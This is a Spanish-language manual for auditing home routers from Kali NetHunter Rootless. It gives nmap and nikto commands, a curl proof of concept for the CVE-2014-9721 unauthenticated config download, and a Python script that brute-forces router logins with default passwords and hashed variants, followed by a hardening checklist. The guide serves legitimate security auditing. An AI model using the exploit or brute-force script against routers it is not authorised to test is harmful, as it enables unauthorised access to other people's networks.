Manual de Auditoría de Routers Domésticos (Entorno Kali NetHunter Rootless)
Autor: Sammi De Blas - SysAdmin & Cybersecurity Specialist Fecha: Diciembre 2025 Objetivo: Evaluar la seguridad de dispositivos de red (CPE) desde un dispositivo móvil Android sin acceso Root completo.
1. Preparación del Entorno (Troubleshooting Inicial)
En entornos NetHunter Rootless, no tenemos acceso directo al Kernel de Android ni a “Raw Sockets”. Esto cambia las reglas del juego.
1.1. Diagnóstico de Conectividad
Si ping funciona a IP (8.8.8.8) pero falla apt update, es un problema de DNS o permisos de Android.
*Solución DNS:*
Bash
echo “nameserver 8.8.8.8” > /etc/resolv.conf
*Solución Permisos (Usuario _apt):*
Bash
usermod -a -G aid_inet,aid_net_raw _apt
1.2. Herramientas Necesarias
Instalar suite moderna (iproute2) y diccionarios básicos.
Bash
comando:: sudo apt update
comando:: sudo apt install iproute2 net-tools python3-requests nmap nikto hydra
2. Fase de Descubrimiento (Reconnaissance)
Limitación Técnica: En Rootless, el escaneo SYN (-sS) y la detección de OS (-O) fallan por falta de permisos. Debemos usar TCP Connect Scan.
2.1. Escaneo de Puertos “Sigiloso” (User-Space)
Usamos -Pn para evitar el ping ICMP (que requiere root) y -sT para usar conexiones completas del sistema operativo.
Comando:
Bash
comando:: nmap -Pn -sT —top-ports 100 —open -vvv [IP_ROUTER]
(Ejemplo IP: 192.168.1.1)
2.2. Identificación de Servicios (Banner Grabbing)
Una vez detectados puertos abiertos (ej: 80, 443), interrogamos la versión del software.
Comando:
Bash
comando:: nmap -Pn -sT -sV —version-intensity 5 -p 80,443 [IP_ROUTER]
Qué buscar en la salida:
-
Nombre del servidor (Ej: ZTE web server, RomPager, MicroHttpd).
-
Año del Copyright (Ej: 2015 indica software obsoleto).
3. Análisis de Vulnerabilidades
3.1. Búsqueda en Bases de Datos
Con la versión del servidor, buscamos exploits conocidos.
Bash
searchsploit ZTE F660
searchsploit [MARCA_DETECTADA]
3.2. Verificación de CVE-2014-9721 (Config Disclosure)
Común en routers antiguos. Intenta descargar config.bin sin autenticación. Prueba de Concepto (PoC):
Bash
curl -v -X POST -d “config=” “http://[IP_ROUTER]/getpage.gch?pid=101&nextpage=manager_dev_config_t.gch” -o config.bin
-
Éxito: Archivo de >20KB.
-
Fallo: Error 404 o archivo de <1KB.
3.3. Escaneo Web General (Nikto)
Busca archivos por defecto y configuraciones inseguras.
Bash
nikto -h http://[IP_ROUTER] -Tuning 9
4. Fase de Explotación (Acceso al Panel)
Si no hay vulnerabilidades críticas, atacamos la autenticación.
4.1. Análisis del Formulario de Login
Usar curl para identificar los nombres de los campos (name=“Username”, name=“Frm_Password”).
Bash
curl -s http://[IP_ROUTER] | grep -i “<input”
4.2. Evasión de Criptografía Client-Side
La mayoría de routers modernos usan JavaScript para hashear la contraseña antes de enviarla. Herramientas como Hydra fallarán.
Script Python Personalizado (Multi-Algoritmo): Este script prueba texto plano, MD5 y SHA256 automáticamente, gestionando Cookies y Tokens CSRF.
(Guardar como audit_router.py)
Python
import requests
import re
import sys
import hashlib
# --- CONFIGURACIÓN ---
TARGET_URL = “http://192.168.1.1\” # CAMBIAR IP SI ES NECESARIO
USERS = [“admin”, “user”, “expert”, “root”]
PASSWORDS = [“admin”, “1234”, “123456”, “admin123”, “gpon”, “user”, “vodafone”, “jazztel”]
# Añadir aquí la clave de la pegatina si se conoce
def get_page_data(session):
try:
r = session.get(TARGET_URL, timeout=5)
token_match = re.search(r’id=“_sessionTOKEN” value=”(.*?)”’, r.text)
return token_match.group(1) if token_match else ""
except: return None
def brute_force():
print(f”[*] Auditando {TARGET_URL}…”)
for user in USERS:
for password in PASSWORDS:
s = requests.Session()
token = get_page_data(s)
if token is None: return
# Generar variantes de Hash
attempts = [
password, # Plano
hashlib.sha256(password.encode()).hexdigest(), # SHA256
hashlib.md5(password.encode()).hexdigest() # MD5
]
for payload_pass in attempts:
data = {
‘Frm_Username’: user, # Ajustar según ‘grep’
‘Frm_Password’: payload_pass, # Ajustar según ‘grep’
‘_sessionTOKEN’: token,
‘LoginId’: ‘Iniciar sesión’
}
try:
r = s.post(TARGET_URL, data=data, allow_redirects=False)
if r.status_code == 302 or “Location” in r.headers or “Frm_Username” not in r.text:
print(f”\n[!!!] ACCESO CONSEGUIDO → User: {user} | Pass: {password}”)
return
except: pass
sys.stdout.write(”.”)
sys.stdout.flush()
print(“\n[*] Auditoría finalizada.”)
if __name__ == “__main__”:
brute_force()
5. Auditoría de Seguridad Física y Post-Explotación
5.1. La Prueba de la Pegatina
Siempre verificar la etiqueta inferior.
-
Si la clave de la etiqueta funciona → Riesgo Medio (Acceso físico compromete la red).
-
Si la clave de la etiqueta es la misma que la del Wi-Fi → Riesgo Crítico (Cualquiera con el Wi-Fi entra al router).
5.2. Checklist de Configuración (Una vez dentro)
Revisar estos puntos para asegurar el router:
-
[ ] UPnP: Debe estar DESACTIVADO. (Permite abrir puertos sin autenticación).
-
[ ] DMZ: Debe estar VACÍO. (Expone un equipo a todo internet).
-
[ ] Remote Management (WAN): Debe estar DESACTIVADO. (Nadie debe poder entrar desde fuera de casa).
-
[ ] WPS: Debe estar DESACTIVADO. (Vulnerable a ataques Pixie Dust/Fuerza Bruta).
-
[ ] Logs: Verificar si el router registra los intentos de acceso fallidos.
Notas Finales para Kali NetHunter Rootless
-
No Wi-Fi Hacking: No intentar airmon-ng o captura de Handshakes (requiere Root/Kernel Mode).
-
No ARP Spoofing: No intentar MITM a nivel 2.
-
Enfoque: La auditoría debe centrarse en la Capa de Aplicación (Web/HTTP) y configuración del dispositivo.